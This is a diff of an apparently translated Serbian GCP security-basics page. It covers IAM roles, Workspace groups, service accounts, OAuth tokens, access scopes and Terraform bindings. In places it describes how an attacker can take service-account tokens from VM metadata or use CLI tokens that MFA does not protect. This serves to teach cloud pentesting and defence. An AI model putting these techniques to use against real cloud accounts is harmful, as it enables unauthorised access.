* **Onemogući korišćenje VPC spoljnog IPv6:** Sprečava kreiranje spoljašnjih IPv6 podmreža, koje mogu biti izložene neovlašćenom pristupu internetu.
</details>
@@ -88,8 +94,8 @@ Postoji mnogo drugih ograničenja koja vam daju preciznu kontrolu nad resursima
Ove su slične IAM politikama u AWS-u jer **svaka uloga sadrži skup dozvola.**
Međutim, za razliku od AWS-a, ne postoji **centralizovani repozitorijum** uloga. Umesto toga, **resursi daju X pristupne uloge Y principima**, a jedini način da saznate ko ima pristup resursu je korišćenje **`get-iam-policy` metode nad tim resursom**.\
To može biti problem jer to znači da je jedini način da saznate **koje dozvole ima princip da pitate svaki resurs kome dodeljuje dozvole**, a korisnik možda nema dozvole da dobije dozvole od svih resursa.
Međutim, za razliku od AWS-a, ne postoji **centralizovani repozitorij** uloga. Umesto toga, **resursi daju X pristupne uloge Y principima**, a jedini način da saznate ko ima pristup resursu je korišćenje **`get-iam-policy` metode nad tim resursom**.\
To može biti problem jer to znači da je jedini način da saznate **koje dozvole ima princip da pitate svaki resurs kome dodeljuje dozvole**, a korisnik možda neće imati dozvole da dobije dozvole od svih resursa.
Postoje **tri tipa** uloga u IAM:
@@ -104,21 +110,25 @@ Pored toga, imajte na umu da će **dozvole** imati efekat samo ako su **priklju
Ili proverite da li **prilagođena uloga može koristiti** [**određenu dozvolu ovde**](https://cloud.google.com/iam/docs/custom-roles-permissions-support)**.**
{{#ref}}
../gcp-services/gcp-iam-and-org-policies-enum.md
{{#endref}}
## Korisnici <a href="#default-credentials" id="default-credentials"></a>
U **GCP konzoli** ne postoji upravljanje Korisnicima ili Grupama, to se obavlja u **Google Workspace**. Iako možete sinhronizovati različitog provajdera identiteta u Google Workspace.
Možete pristupiti korisnicima i grupama Workspace-a na [**https://admin.google.com**](https://admin.google.com/).
Možete pristupiti korisnicima i grupama Workspaces na [**https://admin.google.com**](https://admin.google.com/).
**MFA** može biti **prinudna** za korisnike Workspace-a, međutim, **napadač** može koristiti token za pristup GCP-u **putem CLI-a koji neće biti zaštićen MFA** (biće zaštićen MFA samo kada se korisnik prijavi da ga generiše: `gcloud auth login`).
**MFA** može biti **prinudna** za korisnike Workspaces, međutim, **napadač** može koristiti token za pristup GCP **putem CLI-a koji neće biti zaštićen MFA** (biće zaštićen MFA samo kada se korisnik prijavi da ga generiše: `gcloud auth login`).
## Grupe
Kada se organizacija kreira, nekoliko grupa je **snažno preporučeno da se kreiraju.** Ako upravljate bilo kojom od njih, mogli ste kompromitovati sve ili važan deo organizacije:
<table data-header-hidden><thead><tr><th width="299.3076923076923"></th><th></th></tr></thead><tbody><tr><td><strong>Grupa</strong></td><td><strong>Funkcija</strong></td></tr><tr><td><strong><code>gcp-organization-admins</code></strong><br><em>(grupa ili pojedinačni nalozi potrebni za kontrolnu listu)</em></td><td>Upravljanje bilo kojim resursom koji pripada organizaciji. Dodelite ovu ulogu štedljivo; administratori organizacije imaju pristup svim vašim Google Cloud resursima. Alternativno, s obzirom na to da je ova funkcija visoko privilegovana, razmotrite korišćenje pojedinačnih naloga umesto kreiranja grupe.</td></tr><tr><td><strong><code>gcp-network-admins</code></strong><br><em>(potrebno za kontrolnu listu)</em></td><td>Kreiranje mreža, podmreža, pravila vatrozida i mrežnih uređaja kao što su Cloud Router, Cloud VPN i cloud load balancers.</td></tr><tr><td><strong><code>gcp-billing-admins</code></strong><br><em>(potrebno za kontrolnu listu)</em></td><td>Postavljanje računa za naplatu i praćenje njihove upotrebe.</td></tr><tr><td><strong><code>gcp-developers</code></strong><br><em>(potrebno za kontrolnu listu)</em></td><td>Dizajniranje, kodiranje i testiranje aplikacija.</td></tr><tr><td><strong><code>gcp-security-admins</code></strong><br></td><td>Usmeravanje i upravljanje sigurnosnim politikama za celu organizaciju, uključujući upravljanje pristupom i <a href="https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints">politike ograničenja organizacije</a>. Pogledajte <a href="https://cloud.google.com/architecture/security-foundations/authentication-authorization#users_and_groups">vodič za sigurnosne osnove Google Clouda</a> za više informacija o planiranju vaše Google Cloud sigurnosne infrastrukture.</td></tr><tr><td><strong><code>gcp-devops</code></strong></td><td>Kreiranje ili upravljanje end-to-end procesima koji podržavaju kontinuiranu integraciju i isporuku, praćenje i sistemsko obezbeđenje.</td></tr><tr><td><strong><code>gcp-logging-admins</code></strong></td><td></td></tr><tr><td><strong><code>gcp-logging-viewers</code></strong></td><td></td></tr><tr><td><strong><code>gcp-monitor-admins</code></strong></td><td></td></tr><tr><td><strong><code>gcp-billing-viewer</code></strong><br><em>(više nije podrazumevano)</em></td><td>Praćenje troškova na projektima. Tipični članovi su deo finansijskog tima.</td></tr><tr><td><strong><code>gcp-platform-viewer</code></strong><br><em>(više nije podrazumevano)</em></td><td>Pregled informacija o resursima širom Google Cloud organizacije.</td></tr><tr><td><strong><code>gcp-security-reviewer</code></strong><br><em>(više nije podrazumevano)</em></td><td>Pregledanje sigurnosti u oblaku.</td></tr><tr><td><strong><code>gcp-network-viewer</code></strong><br><em>(više nije podrazumevano)</em></td><td>Pregledanje mrežnih konfiguracija.</td></tr><tr><td><strong><code>grp-gcp-audit-viewer</code></strong><br><em>(više nije podrazumevano)</em></td><td>Pregledanje revizorskih logova.</td></tr><tr><td><strong><code>gcp-scc-admin</code></strong><br><em>(više nije podrazumevano)</em></td><td>Upravljanje Security Command Center-om.</td></tr><tr><td><strong><code>gcp-secrets-admin</code></strong><br><em>(više nije podrazumevano)</em></td><td>Upravljanje tajnama u Secret Manager-u.</td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="299.3076923076923"></th><th></th></tr></thead><tbody><tr><td><strong>Grupa</strong></td><td><strong>Funkcija</strong></td></tr><tr><td><strong><code>gcp-organization-admins</code></strong><br><em>(grupa ili pojedinačni nalozi potrebni za kontrolnu listu)</em></td><td>Upravljanje bilo kojim resursom koji pripada organizaciji. Dodelite ovu ulogu štedljivo; administratori organizacije imaju pristup svim vašim Google Cloud resursima. Alternativno, s obzirom na to da je ova funkcija visoko privilegovana, razmotrite korišćenje pojedinačnih naloga umesto kreiranja grupe.</td></tr><tr><td><strong><code>gcp-network-admins</code></strong><br><em>(potrebno za kontrolnu listu)</em></td><td>Kreiranje mreža, podmreža, pravila vatrozida i mrežnih uređaja kao što su Cloud Router, Cloud VPN i cloud load balanceri.</td></tr><tr><td><strong><code>gcp-billing-admins</code></strong><br><em>(potrebno za kontrolnu listu)</em></td><td>Postavljanje računa za naplatu i praćenje njihove upotrebe.</td></tr><tr><td><strong><code>gcp-developers</code></strong><br><em>(potrebno za kontrolnu listu)</em></td><td>Dizajniranje, kodiranje i testiranje aplikacija.</td></tr><tr><td><strong><code>gcp-security-admins</code></strong><br></td><td>Usmeravanje i upravljanje sigurnosnim politikama za celu organizaciju, uključujući upravljanje pristupom i <a href="https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints">politike ograničenja organizacije</a>. Pogledajte <a href="https://cloud.google.com/architecture/security-foundations/authentication-authorization#users_and_groups">vodič za sigurnosne osnove Google Clouda</a> za više informacija o planiranju vaše Google Cloud sigurnosne infrastrukture.</td></tr><tr><td><strong><code>gcp-devops</code></strong></td><td>Kreiranje ili upravljanje end-to-end cevovodima koji podržavaju kontinuiranu integraciju i isporuku, praćenje i provisioning sistema.</td></tr><tr><td><strong><code>gcp-logging-admins</code></strong></td><td></td></tr><tr><td><strong><code>gcp-logging-viewers</code></strong></td><td></td></tr><tr><td><strong><code>gcp-monitor-admins</code></strong></td><td></td></tr><tr><td><strong><code>gcp-billing-viewer</code></strong><br><em>(više nije podrazumevano)</em></td><td>Praćenje troškova na projektima. Tipični članovi su deo finansijskog tima.</td></tr><tr><td><strong><code>gcp-platform-viewer</code></strong><br><em>(više nije podrazumevano)</em></td><td>Pregled informacija o resursima širom Google Cloud organizacije.</td></tr><tr><td><strong><code>gcp-security-reviewer</code></strong><br><em>(više nije podrazumevano)</em></td><td>Pregledanje sigurnosti u oblaku.</td></tr><tr><td><strong><code>gcp-network-viewer</code></strong><br><em>(više nije podrazumevano)</em></td><td>Pregledanje mrežnih konfiguracija.</td></tr><tr><td><strong><code>grp-gcp-audit-viewer</code></strong><br><em>(više nije podrazumevano)</em></td><td>Pregledanje revizorskih logova.</td></tr><tr><td><strong><code>gcp-scc-admin</code></strong><br><em>(više nije podrazumevano)</em></td><td>Upravljanje Centrom za bezbednost.</td></tr><tr><td><strong><code>gcp-secrets-admin</code></strong><br><em>(više nije podrazumevano)</em></td><td>Upravljanje tajnama u Secret Manager-u.</td></tr></tbody></table>
## **Podrazumevana Politika Lozinki**
## **Podrazumevana politika lozinki**
- Sprovodite jake lozinke
- Između 8 i 100 karaktera
@@ -126,27 +136,33 @@ Kada se organizacija kreira, nekoliko grupa je **snažno preporučeno da se krei
- Bez isteka
- Ako ljudi pristupaju Workspace-u putem treće strane, ovi zahtevi se ne primenjuju.
<figure><img src="../../../images/image (20).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../images/image (22).png" alt=""><figcaption></figcaption></figure>
## **Nalozi za usluge**
Ovo su principi koje **resursi** mogu **imati** **priključene** i pristupiti kako bi lako interagovali sa GCP-om. Na primer, moguće je pristupiti **auth tokenu** naloga za usluge **priključenog VM-u** u metapodacima.\
Moguće je naići na neke **sukobe** kada se koriste i **IAM i pristupne oblasti**. Na primer, vaš nalog za usluge može imati IAM ulogu `compute.instanceAdmin`, ali instanca koju ste kompromitovali ima ograničenje opsega `https://www.googleapis.com/auth/compute.readonly`. Ovo bi vam onemogućilo da napravite bilo kakve promene koristeći OAuth token koji je automatski dodeljen vašoj instanci.
Ovo su principi koje **resursi** mogu **imati** **priključene** i pristupiti kako bi lako interagovali sa GCP-om. Na primer, moguće je pristupiti **auth tokenu** naloga za usluge **priključenom VM-u** u metapodacima.\
Moguće je naići na neke **sukobe** kada koristite i **IAM i pristupne opsege**. Na primer, vaš nalog za usluge može imati IAM ulogu `compute.instanceAdmin`, ali instanca koju ste kompromitovali ima ograničenje opsega `https://www.googleapis.com/auth/compute.readonly`. Ovo bi vam onemogućilo da napravite bilo kakve promene koristeći OAuth token koji je automatski dodeljen vašoj instanci.
Slično je **IAM ulogama iz AWS-a**. Ali ne kao u AWS-u, **bilo koji** nalog za usluge može biti **priključen bilo kojoj usluzi** (ne mora to da dozvoli putem politike).
Slično je **IAM ulogama iz AWS-a**. Ali ne kao u AWS-u, **bilo koji** nalog za usluge može biti **priključen bilo kojoj usluzi** (ne mora to da dozvoli putem politike).
Nekoliko naloga za usluge koje ćete pronaći su zapravo **automatski generisani od strane GCP-a** kada počnete da koristite uslugu, kao:
```
PROJECT_NUMBER-compute@developer.gserviceaccount.com
PROJECT_ID@appspot.gserviceaccount.com
```
Međutim, takođe je moguće kreirati i pridružiti se resursima **prilagođenim servisnim nalozima**, koji će izgledati ovako:
Međutim, takođe je moguće kreirati i povezati se sa resursima **custom service accounts**, koji će izgledati ovako:
```
SERVICE_ACCOUNT_NAME@PROJECT_NAME.iam.gserviceaccount.com
```
### **Ključevi i Tokeni**
Postoje 2 glavna načina za pristup GCP-u kao servisnom nalogu:
Postoje 2 glavna načina za pristup GCP kao servisni nalog:
- **Putem OAuth tokena**: To su tokeni koje ćete dobiti sa mesta kao što su metapodaci ili krađom http zahteva i ograničeni su **opsegom pristupa**.
- **Ključevi**: To su javni i privatni parovi ključeva koji će vam omogućiti da potpišete zahteve kao servisni nalog i čak generišete OAuth tokene za izvršavanje radnji kao servisni nalog. Ovi ključevi su opasni jer ih je teže ograničiti i kontrolisati, zato GCP preporučuje da ih ne generišete.
- Imajte na umu da svaki put kada se kreira SA, **GCP generiše ključ za servisni nalog** kojem korisnik ne može pristupiti (i neće biti naveden u web aplikaciji). Prema [**ovoj temi**](https://www.reddit.com/r/googlecloud/comments/f0ospy/service_account_keys_observations/) ovaj ključ je **interno korišćen od strane GCP-a** da omogući metapodacima pristup za generisanje dostupnih OAuth tokena.
- **Putem OAuth tokena**: Ovo su tokeni koje ćete dobiti sa mesta kao što su metapodaci ili krađom http zahteva i ograničeni su **opsegom pristupa**.
- **Ključevi**: Ovo su javni i privatni parovi ključeva koji će vam omogućiti da potpišete zahteve kao servisni nalog i čak generišete OAuth tokene za izvršavanje akcija kao servisni nalog. Ovi ključevi su opasni jer ih je teže ograničiti i kontrolisati, zato GCP preporučuje da ih ne generišete.
- Imajte na umu da svaki put kada se kreira SA, **GCP generiše ključ za servisni nalog** kojem korisnik ne može pristupiti (i neće biti naveden u web aplikaciji). Prema [**ovoj temi**](https://www.reddit.com/r/googlecloud/comments/f0ospy/service_account_keys_observations/) ovaj ključ je **interno korišćen od strane GCP** da omogući metapodacima pristup za generisanje dostupnih OAuth tokena.
### **Opsezi pristupa**
@@ -172,7 +188,7 @@ curl 'https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=<access_token>
```
Prethodni **opsezi** su oni generisani **podrazumevano** koristeći **`gcloud`** za pristup podacima. To je zato što kada koristite **`gcloud`** prvo kreirate OAuth token, a zatim ga koristite za kontaktiranje krajnjih tačaka.
Najvažniji opseg od onih potencijalno je **`cloud-platform`**, što u osnovi znači da je moguće **pristupiti bilo kojoj usluzi u GCP**.
Najvažniji opseg od tih potencijalno je **`cloud-platform`**, što u osnovi znači da je moguće **pristupiti bilo kojoj usluzi u GCP**.
Možete **pronaći listu** [**svih mogućih opsega ovde**](https://developers.google.com/identity/protocols/googlescopes)**.**
@@ -190,11 +206,11 @@ gcloud auth application-default print-access-token
```
## **Terraform IAM Politike, Povezivanja i Članstva**
Kao što je definisano od strane terraform-a u [https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project_iam](https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project_iam), korišćenjem terraform-a sa GCP postoje različiti načini za dodeljivanje pristupa resursu:
Kao što je definisano od strane terraform-a u [https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project_iam](https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project_iam), korišćenjem terraform-a sa GCP postoje različiti načini za dodeljivanje pristupa principalu nad resursom:
- **Članstva**: Postavljate **principale kao članove uloga** **bez ograničenja** nad ulogom ili principima. Možete staviti korisnika kao člana uloge, a zatim staviti grupu kao člana iste uloge i takođe postaviti te principe (korisnika i grupu) kao članove drugih uloga.
- **Povezivanja**: Nekoliko **principala može biti povezano sa ulogom**. Ti **principali mogu i dalje biti povezani ili članovi drugih uloga**. Međutim, ako je principal koji nije povezan sa ulogom postavljen kao **član povezane uloge**, sledeći put kada se **povezivanje primeni, članstvo će nestati**.
- **Politike**: Politika je **autoritativna**, ukazuje na uloge i principe i tada, **ti principi ne mogu imati više uloga i te uloge ne mogu imati više principa** osim ako ta politika nije izmenjena (čak ni u drugim politikama, povezivanjima ili članstvima). Stoga, kada je uloga ili principal specificiran u politici, sve njegove privilegije su **ograničene tom politikom**. Očigledno, ovo se može zaobići u slučaju da principal dobije opciju da izmeni politiku ili dozvole za eskalaciju privilegija (kao što je kreiranje novog principa i povezivanje sa novom ulogom).
- **Politike**: Politika je **autoritativna**, ukazuje na uloge i principe i tada, **ti principi ne mogu imati više uloga i te uloge ne mogu imati više principa** osim ako ta politika nije izmenjena (čak ni u drugim politikama, povezivanjima ili članstvima). Stoga, kada je uloga ili principal specificiran u politici, sve njegove privilegije su **ograničene tom politikom**. Očigledno, ovo se može zaobići u slučaju da principal dobije opciju da izmeni politiku ili dozvole za eskalaciju privilegija (kao što je kreiranje novog principala i povezivanje sa novom ulogom).
## Reference